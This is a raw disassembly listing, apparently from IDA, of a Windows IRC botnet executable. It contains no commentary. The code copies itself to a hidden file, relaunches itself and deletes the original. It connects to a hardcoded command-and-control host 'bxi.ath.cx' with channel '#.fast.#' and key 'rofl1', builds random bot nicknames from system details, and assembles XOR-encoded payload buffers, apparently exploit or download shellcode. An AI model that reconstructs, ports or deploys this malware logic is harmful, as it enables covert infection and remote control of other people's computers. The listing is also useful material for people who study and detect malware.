		cmp	eax, 20h
		jz	short loc_40A435
		cmp	eax, 5
		jnz	short loc_40A458


loc_40A435:				; CODE XREF: WinMain(x,x,x,x)+1CBj
		xor	edi, edi
		push	3A98h
		inc	edi
		call	ds:dword_42B014	; Sleep


loc_40A443:				; CODE XREF: WinMain(x,x,x,x)+1BCj
		push	ebx
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	esi	; CopyFileA
		test	eax, eax
		jz	short loc_40A421


loc_40A458:				; CODE XREF: WinMain(x,x,x,x)+1C6j
					; WinMain(x,x,x,x)+1D0j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_41AE17
		pop	ecx
		push	7
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_42B04C	; SetFileAttributesA
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		pop	esi
		push	esi		; Size
		lea	eax, [ebp+var_E0]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		mov	[ebp+var_E0], esi
		xor	esi, esi
		inc	esi
		add	esp, 18h
		mov	[ebp+var_D4], offset byte_42B633
		mov	[ebp+var_B4], esi
		mov	[ebp+var_B0], bx
		call	ds:dword_42B044	; GetCurrentProcessId
		push	eax
		push	esi
		push	100000h
		call	ds:dword_42B040	; OpenProcess
		lea	ecx, [ebp+Str]
		push	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+var_984]
		push	offset aSDS	; "%s %d \"%s\""
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_E0]
		push	eax
		lea	eax, [ebp+SubStr]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		lea	eax, [ebp+var_984]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		call	ds:dword_42B008	; CreateProcessA
		test	eax, eax
		jz	short loc_40A542
		push	0C8h
		call	ds:dword_42B014	; Sleep
		push	[ebp+Dst]
		mov	esi, ds:dword_42B004
		call	esi	; CloseHandle
		push	[ebp+var_18]
		call	esi	; CloseHandle
		call	dword_444224	; WSACleanup
		push	ebx


loc_40A53C:				; CODE XREF: WinMain(x,x,x,x)+7Aj
		call	ds:dword_42B000	; ExitProcess


loc_40A542:				; CODE XREF: WinMain(x,x,x,x)+130j
					; WinMain(x,x,x,x)+2B5j
		cmp	dword_4E2914, 2
		jle	short loc_40A58E
		mov	eax, dword_4E2918
		push	dword ptr [eax+4] ; Str
		call	j__atol
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		call	ds:dword_42B054	; WaitForSingleObject
		push	esi
		call	ds:dword_42B004	; CloseHandle
		mov	eax, dword_4E2918
		cmp	[eax+8], ebx
		jz	short loc_40A58E
		push	7D0h
		call	ds:dword_42B014	; Sleep
		mov	eax, dword_4E2918
		push	dword ptr [eax+8]
		call	ds:dword_42B02C	; DeleteFileA


loc_40A58E:				; CODE XREF: WinMain(x,x,x,x)+2E6j
					; WinMain(x,x,x,x)+310j
		cmp	dword_43C088, ebx
		jz	short loc_40A5AB
		cmp	dword_444274, ebx
		jnz	short loc_40A5AB
		lea	eax, [ebp+var_5F0]
		push	eax		; Str
		call	sub_401000
		pop	ecx


loc_40A5AB:				; CODE XREF: WinMain(x,x,x,x)+331j
					; WinMain(x,x,x,x)+339j
		lea	eax, [ebp+Source]
		push	offset asc_42FF24 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	ebx		; int
		push	eax		; Source
		call	sub_40AE85
		lea	eax, [ebp+Source]
		push	eax
		call	sub_417D70
		push	0B80h		; Size
		push	ebx		; Val
		push	offset dword_4D1450 ; Dst
		call	_memset
		lea	eax, [ebp+Source]
		push	offset asc_42FF00 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	1		; int
		push	eax		; Source
		call	sub_40AE85
		mov	edi, ds:dword_42B03C
		add	esp, 38h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		push	offset sub_41C76D
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_4444FC[esi], eax
		jnz	short loc_40A64B
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_42FEC0 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40A64B:				; CODE XREF: WinMain(x,x,x,x)+3CBj
		lea	eax, [ebp+Source]
		push	eax
		call	sub_417D70
		push	2
		call	sub_40B075
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40A6D0
		lea	eax, [ebp+Source]
		push	offset asc_42FE94 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Source]
		push	2		; int
		push	eax		; Source
		call	sub_40AE85
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	esi
		push	offset sub_41321D
		push	ebx
		push	ebx
		call	edi	; CreateThread
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_4444FC[esi], eax
		jnz	short loc_40A6C3
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Source]
		push	offset asc_42FE60 ; "-"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40A6C3:				; CODE XREF: WinMain(x,x,x,x)+443j
		lea	eax, [ebp+Source]
		push	eax
		call	sub_417D70
		pop	ecx


loc_40A6D0:				; CODE XREF: WinMain(x,x,x,x)+3FFj
		call	_rand
		push	7Fh		; Count
		and	eax, 3
		push	offset aBxi_ath_cx ; "bxi.ath.cx"
		push	offset byte_4D12EC ; Dest
		mov	dword_4D1FE0, eax
		call	_strncpy
		mov	eax, dword_43C068
		push	3Fh		; Count
		push	offset a_fast_	; "#.fast.#"
		mov	edi, offset byte_4D136C
		push	edi		; Dest
		mov	dword_4D143C, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset aRofl1	; "rofl1"
		mov	esi, offset byte_4D13AC
		push	esi		; Dest
		call	_strncpy
		mov	dword_4D1440, ebx


loc_40A722:				; CODE XREF: WinMain(x,x,x,x)+53Aj
					; WinMain(x,x,x,x)+584j
		add	esp, 24h


loc_40A725:				; CODE XREF: WinMain(x,x,x,x)+542j
		mov	[ebp+var_4], ebx


loc_40A728:				; CODE XREF: WinMain(x,x,x,x)+4FBj
		push	offset dword_4D12E8
		mov	dword_4D1FDC, ebx
		call	sub_4025EF
		cmp	eax, 2
		jz	loc_40A7EC
		cmp	dword_4D1FDC, ebx
		jz	short loc_40A74C
		dec	[ebp+var_4]


loc_40A74C:				; CODE XREF: WinMain(x,x,x,x)+4E4j
		push	0BB8h
		call	ds:dword_42B014	; Sleep
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 6
		jl	short loc_40A728
		cmp	[ebp+var_C], ebx
		jz	short loc_40A79F
		push	7Fh		; Count
		push	offset aBxi_ath_cx ; "bxi.ath.cx"
		push	offset byte_4D12EC ; Dest
		call	_strncpy
		mov	eax, dword_43C068
		push	3Fh		; Count
		push	offset a_fast_	; "#.fast.#"
		push	edi		; Dest
		mov	dword_4D143C, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset aRofl1	; "rofl1"
		push	esi		; Dest
		call	_strncpy
		mov	[ebp+var_C], ebx
		jmp	short loc_40A722
; ---------------------------------------------------------------------------


loc_40A79F:				; CODE XREF: WinMain(x,x,x,x)+500j
		cmp	byte_43C0D8, bl
		jz	loc_40A725
		push	7Fh		; Count
		push	offset byte_43C0D8 ; Source
		push	offset byte_4D12EC ; Dest
		call	_strncpy
		mov	eax, dword_43C06C
		push	3Fh		; Count
		push	offset a_fast__0 ; "#.fast.#"
		push	edi		; Dest
		mov	dword_4D143C, eax
		call	_strncpy
		push	3Fh		; Count
		push	offset aRofl1_0	; "rofl1"
		push	esi		; Dest
		call	_strncpy
		mov	[ebp+var_C], 1
		jmp	loc_40A722
; ---------------------------------------------------------------------------


loc_40A7EC:				; CODE XREF: WinMain(x,x,x,x)+4D8j
		call	sub_40AFF6


loc_40A7F1:				; CODE XREF: WinMain(x,x,x,x)+A0j
					; WinMain(x,x,x,x)+ADj
		call	dword_444224	; WSACleanup


loc_40A7F7:				; CODE XREF: WinMain(x,x,x,x)+93j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h
_WinMain@16	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40A800(char *Dest)

sub_40A800	proc near		; CODE XREF: sub_40AB83+4Ap
					; DATA XREF: .data:off_43C4B0o

Dest		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		call	_rand
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+Dest]
		push	off_43C518[edx*4]
		push	offset aS	; "%s"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 14h
		cmp	dword_43C090, esi
		jle	short loc_40A867


loc_40A841:				; CODE XREF: sub_40A800+65j
		call	_rand
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43C090
		jl	short loc_40A841


loc_40A867:				; CODE XREF: sub_40A800+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40A800	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	aNetapi	; "netapi-"
		push	offset aS	; "%s"
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h


loc_40A897:				; DATA XREF: .data:0043F374o
					; .data:0043F3B8o ...
		cmp	dword_43C090, esi
		jle	short loc_40A8C5


loc_40A89F:				; CODE XREF: .text:0040A8C3j
		call	_rand
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43C090
		jl	short loc_40A89F


loc_40A8C5:				; CODE XREF: .text:0040A89Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40A8CA	proc near		; CODE XREF: sub_40274D+66B8p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	esi, edx
		add	esi, dword_43C090
		test	esi, esi
		jle	short loc_40A90D


loc_40A8F7:				; CODE XREF: sub_40A8CA+41j
		call	_rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40A8F7


loc_40A90D:				; CODE XREF: sub_40A8CA+2Bj
		mov	byte ptr [edi+ebx], 0
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn
sub_40A8CA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	dword ptr [ebp-4], 100h
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		lea	eax, [ebp-4]
		push	eax
		mov	esi, offset aPc	; "PC"
		push	esi
		call	ds:dword_42B05C	; GetComputerNameA
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_43C090, esi
		jle	short loc_40A980


loc_40A95A:				; CODE XREF: .text:0040A97Ej
		call	_rand
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43C090
		jl	short loc_40A95A


loc_40A980:				; CODE XREF: .text:0040A958j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		pop	ecx
		push	0Ah
		lea	eax, [ebp-0Ch]
		push	eax
		push	7
		push	800h
		call	ds:dword_42B060	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_8	; "%s|"
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43C090, esi
		jle	short loc_40A9F5


loc_40A9CF:				; CODE XREF: .text:0040A9F3j
		call	_rand
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43C090
		jl	short loc_40A9CF


loc_40A9F5:				; CODE XREF: .text:0040A9CDj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 94h
		push	esi
		push	edi
		lea	eax, [ebp-20h]
		push	eax
		mov	esi, offset byte_42B633
		mov	dword ptr [ebp-20h], 94h
		call	ds:dword_42B064	; GetVersionExA
		call	ds:dword_42B038	; GetTickCount
		push	eax
		call	sub_41ECD4
		cmp	dword ptr [ebp-1Ch], 4
		pop	ecx
		jnz	short loc_40AA69
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_40AA4F
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_40AA42
		mov	esi, offset a95	; "95"


loc_40AA42:				; CODE XREF: .text:0040AA3Bj
		cmp	dword ptr [ebp-10h], 2
		jnz	short loc_40AA99
		mov	esi, offset aNt_0 ; "NT"
		jmp	short loc_40AA99
; ---------------------------------------------------------------------------


loc_40AA4F:				; CODE XREF: .text:0040AA35j
		cmp	dword ptr [ebp-18h], 0Ah
		jnz	short loc_40AA5C
		mov	esi, offset a98	; "98"
		jmp	short loc_40AA99
; ---------------------------------------------------------------------------


loc_40AA5C:				; CODE XREF: .text:0040AA53j
		cmp	dword ptr [ebp-18h], 5Ah
		jnz	short loc_40AA94
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_40AA99
; ---------------------------------------------------------------------------


loc_40AA69:				; CODE XREF: .text:0040AA2Fj
		cmp	dword ptr [ebp-1Ch], 5
		jnz	short loc_40AA94
		cmp	dword ptr [ebp-18h], 0
		jnz	short loc_40AA7C
		mov	esi, offset a2k	; "2K"
		jmp	short loc_40AA99
; ---------------------------------------------------------------------------


loc_40AA7C:				; CODE XREF: .text:0040AA73j
		cmp	dword ptr [ebp-18h], 1
		jnz	short loc_40AA89
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_40AA99
; ---------------------------------------------------------------------------


loc_40AA89:				; CODE XREF: .text:0040AA80j
		cmp	dword ptr [ebp-18h], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_40AA99


loc_40AA94:				; CODE XREF: .text:0040AA60j
					; .text:0040AA6Dj
		mov	esi, offset a??? ; "???"


loc_40AA99:				; CODE XREF: .text:0040AA46j
					; .text:0040AA4Dj ...
		mov	edi, [ebp+7Ch]
		push	esi
		push	offset aS_7	; "[%s]|"
		push	1Ch
		push	edi
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43C090, esi
		jle	short loc_40AADD


loc_40AAB7:				; CODE XREF: .text:0040AADBj
		call	_rand
		push	0Ah
		pop	ecx
		cdq
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI	; "%s%i"
		push	1Ch
		push	edi
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43C090
		jl	short loc_40AAB7


loc_40AADD:				; CODE XREF: .text:0040AAB5j
		mov	eax, edi
		pop	edi
		pop	esi
		add	ebp, 74h
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40AAE6(char *Source)

sub_40AAE6	proc near		; CODE XREF: sub_40AB83+5Dp

Dest		= byte ptr -1Ch
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	ds:dword_42B038	; GetTickCount
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		call	dword_444160	; FindWindowA
		cmp	esi, 64h
		jbe	short loc_40AB35
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_40AB1E
		mov	eax, offset byte_42B633


loc_40AB1E:				; CODE XREF: sub_40AAE6+31j
		push	eax
		push	esi
		push	offset aDS	; "[%d]%s"
		lea	eax, [ebp+Dest]
		push	1Ch		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 14h
		jmp	short loc_40AB4F
; ---------------------------------------------------------------------------


loc_40AB35:				; CODE XREF: sub_40AAE6+28j
		test	eax, eax
		mov	eax, offset aM	; "[M]"
		jnz	short loc_40AB43
		mov	eax, offset byte_42B633


loc_40AB43:				; CODE XREF: sub_40AAE6+56j
		push	eax		; Format
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40AB4F:				; CODE XREF: sub_40AAE6+4Dj
		lea	eax, [ebp+Dest]
		push	eax		; Str
		call	_strlen
		cmp	eax, 2
		pop	ecx
		pop	esi
		jbe	short loc_40AB7E
		push	1Ch		; Count
		push	[ebp+Source]	; Source
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_strncat
		push	1Ch		; Count
		lea	eax, [ebp+Dest]
		push	eax		; Source
		push	[ebp+Source]	; Dest
		call	_strncpy
		add	esp, 18h


loc_40AB7E:				; CODE XREF: sub_40AAE6+77j
		mov	eax, [ebp+Source]
		leave
		retn
sub_40AAE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40AB83(char *Dest,int,int,char *Str1)

sub_40AB83	proc near		; CODE XREF: sub_402472+52p
					; sub_4025EF+4Bp ...

Source		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
Str1		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		xor	esi, esi


loc_40AB8C:				; CODE XREF: sub_40AB83+40j
		cmp	[ebp+Str1], 0
		jz	short loc_40ABAA
		lea	eax, dword_43C4A0[esi]
		push	eax		; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40ABB8
; ---------------------------------------------------------------------------


loc_40ABAA:				; CODE XREF: sub_40AB83+Dj
		mov	ecx, dword_43C4AC[esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40ABB8:				; CODE XREF: sub_40AB83+25j
		test	eax, eax
		jnz	short loc_40ABC7
		add	esi, 14h
		inc	edi
		cmp	esi, 78h
		jb	short loc_40AB8C
		jmp	short loc_40ABD5
; ---------------------------------------------------------------------------


loc_40ABC7:				; CODE XREF: sub_40AB83+37j
		push	[ebp+Source]	; Dest
		lea	eax, [edi+edi*4]
		call	off_43C4B0[eax*4]
		pop	ecx


loc_40ABD5:				; CODE XREF: sub_40AB83+42j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40ABE8
		push	[ebp+Source]	; Source
		call	sub_40AAE6
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40ABE8:				; CODE XREF: sub_40AB83+58j
		mov	eax, [ebp+Source]
		pop	ebp
		retn
sub_40AB83	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40ABED(char *Str,int)

sub_40ABED	proc near		; CODE XREF: sub_40AC0D+Ap
					; sub_40AE01+8p ...

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+Str]	; Str
		call	_strlen
		push	[esp+8+arg_4]	; Str
		mov	esi, eax
		call	_strlen
		pop	ecx
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	esi
		retn
sub_40ABED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40AC0D(void *Dst,int,char *Src,int)

sub_40AC0D	proc near		; CODE XREF: sub_40AE18+49p

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Src		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]	; int
		push	[ebp+Src]	; Str
		call	sub_40ABED
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40AC2A
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AC2A:				; CODE XREF: sub_40AC0D+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+Src]	; Str
		call	_strlen
		push	[ebp+arg_C]	; Str
		mov	esi, eax
		call	_strlen
		mov	ebx, [ebp+Dst]
		mov	edi, eax
		lea	eax, [edi+esi+12h]
		mov	dword_43D7EC, eax
		lea	eax, [edi+1]
		mov	dword_43D80D, eax
		push	0FFFFFFEDh
		lea	eax, [edi+17h]
		mov	dword_43D805, eax
		pop	eax
		push	74h		; Size
		sub	eax, edi
		push	offset dword_43D788 ; Src
		push	ebx		; Dst
		mov	dword_43D81B, eax
		call	_memcpy
		push	esi		; Size
		push	[ebp+Src]	; Src
		lea	eax, [ebx+74h]
		push	eax		; Dst
		call	_memcpy
		push	5		; Size
		add	esi, 74h
		lea	eax, [esi+ebx]
		push	offset aGet	; " get	"
		push	eax		; Dst
		call	_memcpy
		push	edi		; Size
		push	[ebp+arg_C]	; Src
		add	esi, 5
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		push	10h		; Size
		add	esi, edi
		lea	eax, [esi+ebx]
		push	(offset	aGet+5)	; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 44h
		push	edi		; Size
		push	[ebp+arg_C]	; Src
		add	esi, 10h
		lea	eax, [esi+ebx]
		push	eax		; Dst
		call	_memcpy
		push	38h		; Size
		add	esi, edi
		push	offset byte_43D811 ; Src
		add	esi, ebx
		push	esi		; Dst
		call	_memcpy
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AC0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACE5	proc near		; CODE XREF: sub_40AD00+47p
					; sub_40AE01+Ep

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40ACEE
		inc	ecx


loc_40ACEE:				; CODE XREF: sub_40ACE5+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40ACE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40AD00(void *Dst,int,int,int)

sub_40AD00	proc near		; CODE XREF: sub_40AE18+56p

var_4		= dword	ptr -4
Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_C]
		cmp	dl, 0Ah
		jz	short loc_40AD1A
		cmp	dl, 0Dh
		jz	short loc_40AD1A
		cmp	dl, 5Ch
		jz	short loc_40AD1A
		test	dl, dl
		jnz	short loc_40AD1E


loc_40AD1A:				; CODE XREF: sub_40AD00+Aj
					; sub_40AD00+Fj ...
		inc	edx
		mov	[ebp+arg_C], edx


loc_40AD1E:				; CODE XREF: sub_40AD00+18j
		push	esi
		mov	esi, 0FFh
		cmp	edx, esi
		jbe	short loc_40AD46
		mov	eax, edx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40AD3D
		cmp	al, 0Dh
		jz	short loc_40AD3D
		cmp	al, 5Ch
		jz	short loc_40AD3D
		test	al, al
		jnz	short loc_40AD46


loc_40AD3D:				; CODE XREF: sub_40AD00+2Fj
					; sub_40AD00+33j ...
		add	edx, 100h
		mov	[ebp+arg_C], edx


loc_40AD46:				; CODE XREF: sub_40AD00+26j
					; sub_40AD00+3Bj
		push	edx
		call	sub_40ACE5
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40AD5C
		cmp	eax, 0FFFFh
		jbe	short loc_40AD63


loc_40AD5C:				; CODE XREF: sub_40AD00+53j
		xor	eax, eax
		jmp	loc_40ADFE
; ---------------------------------------------------------------------------


loc_40AD63:				; CODE XREF: sub_40AD00+5Aj
		push	ebx
		mov	bl, byte_4D1FE8
		xor	ecx, ecx
		test	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		jbe	short loc_40AD90


loc_40AD74:				; CODE XREF: sub_40AD00+8Ej
		mov	al, [ecx+edi]
		xor	al, bl
		jz	short loc_40AD87
		cmp	al, 0Ah
		jz	short loc_40AD87
		cmp	al, 0Dh
		jz	short loc_40AD87
		cmp	al, 5Ch
		jnz	short loc_40AD8B


loc_40AD87:				; CODE XREF: sub_40AD00+79j
					; sub_40AD00+7Dj ...
		inc	bl
		xor	ecx, ecx


loc_40AD8B:				; CODE XREF: sub_40AD00+85j
		inc	ecx
		cmp	ecx, edx
		jb	short loc_40AD74


loc_40AD90:				; CODE XREF: sub_40AD00+72j
		cmp	edx, esi
		mov	byte_4D1FE8, bl
		ja	short loc_40ADBC
		push	15h		; Size
		push	offset dword_43D770 ; Src
		push	[ebp+Dst]	; Dst
		mov	byte_43D77D, dl
		mov	byte_43D781, bl
		call	_memcpy
		add	esp, 0Ch
		push	15h
		jmp	short loc_40ADDD
; ---------------------------------------------------------------------------


loc_40ADBC:				; CODE XREF: sub_40AD00+98j
		push	17h		; Size
		push	offset dword_43D758 ; Src
		push	[ebp+Dst]	; Dst
		mov	word_43D766, dx
		mov	byte_43D76B, bl
		call	_memcpy
		add	esp, 0Ch
		push	17h


loc_40ADDD:				; CODE XREF: sub_40AD00+BAj
		xor	eax, eax
		cmp	[ebp+arg_C], eax
		pop	ecx
		jbe	short loc_40ADF9
		mov	edx, [ebp+Dst]
		lea	esi, [ecx+edx]


loc_40ADEB:				; CODE XREF: sub_40AD00+F7j
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40ADEB


loc_40ADF9:				; CODE XREF: sub_40AD00+E3j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40ADFE:				; CODE XREF: sub_40AD00+5Ej
		pop	esi
		leave
		retn
sub_40AD00	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AE01(char *Str,int)

sub_40AE01	proc near		; CODE XREF: sub_40AE18+Dp

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]	; int
		push	[esp+4+Str]	; Str
		call	sub_40ABED
		push	eax
		call	sub_40ACE5
		add	esp, 0Ch
		retn
sub_40AE01	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40AE18(void *Dst,int,char *Str,int)

sub_40AE18	proc near		; CODE XREF: sub_410A35+7Cp

Dst		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Src		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+Src]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi		; int
		push	ebx		; Str
		call	sub_40AE01
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40AE38
		cmp	eax, 0FFFFh
		jbe	short loc_40AE3C


loc_40AE38:				; CODE XREF: sub_40AE18+17j
		xor	eax, eax
		jmp	short loc_40AE81
; ---------------------------------------------------------------------------


loc_40AE3C:				; CODE XREF: sub_40AE18+1Ej
		push	esi
		push	edi		; int
		push	ebx		; Str
		call	sub_40ABED
		add	eax, 101h
		push	eax		; Size
		call	_malloc
		add	esp, 0Ch
		push	edi		; int
		push	ebx		; Src
		push	edi		; int
		push	ebx		; Str
		mov	esi, eax
		call	sub_40ABED
		pop	ecx
		pop	ecx
		push	eax		; int
		push	esi		; Dst
		call	sub_40AC0D
		push	eax		; int
		push	esi		; int
		push	[ebp+arg_4]	; int
		push	[ebp+Dst]	; Dst
		call	sub_40AD00
		push	esi		; Memory
		mov	edi, eax
		call	_free
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40AE81:				; CODE XREF: sub_40AE18+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40AE18	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AE85(char *Source,int,int)

sub_40AE85	proc near		; CODE XREF: sub_40274D+6E4p
					; sub_40274D+91Ap ...

Source		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
